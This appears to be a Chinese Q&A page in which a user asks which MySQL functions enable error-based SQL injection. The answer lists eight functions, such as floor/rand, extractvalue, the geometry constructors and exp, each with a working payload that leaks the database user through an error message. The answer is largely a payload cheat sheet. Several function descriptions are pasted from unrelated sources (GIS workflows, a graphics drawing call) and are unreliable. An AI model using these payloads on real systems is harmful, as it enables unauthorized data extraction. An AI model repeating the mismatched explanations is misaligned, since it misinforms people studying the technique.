@不喜丶不悲
2年前 提问
1个回答

MySQL 报错注入函数有哪些

Simon
2年前

MySQL 报错注入函数有以下这些:

  • floor():其功能是“向下取整”,或者说“向下舍入”,即取不大于x的最大整数(与“四舍五入”不同,下取整是直接去掉小数部分)。
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
  • extractvalue():对XML文档进行查询的函数,其实就是相当于我们熟悉的HTML文件中用”div、p、a”标签查找元素一样。
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
  • geometrycollection():由于MYSQL无法用这样字符串画出图形,所以会导致注入。
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
  • multipoint():在许多地理处理工作流中,您可能需要使用坐标和几何信息运行特定操作,但不一定想经历创建新(临时)要素类、使用光标填充要素类、使用要素类,然后删除临时要素类的过程。可以使用几何对象替代输入和输出,从而使地理处理变得更简单。
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
  • polygon():该函数画一个由直线相闻的两个以上顶点组成的多边形,用当前画笔画多边形轮廓,用当前画刷和多边形填充模式填充多边形。
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
  • linestring():LineString由Point值组成。您可以提取a的特定点LineString,计算其包含的点数,或获取其长度。
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
  • multilinestring():该函数是因为sql语句无法解析该函数,则会导致报错产生SQL注入。
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
  • exp():exp()函数表示以自然常数e为底的指数函数,exp(x)表示的是e的x次方,x可以是一个函数。指数函数是重要的基本初等函数之一。
select * from test where id=1 and exp(~(select * from(select user())a));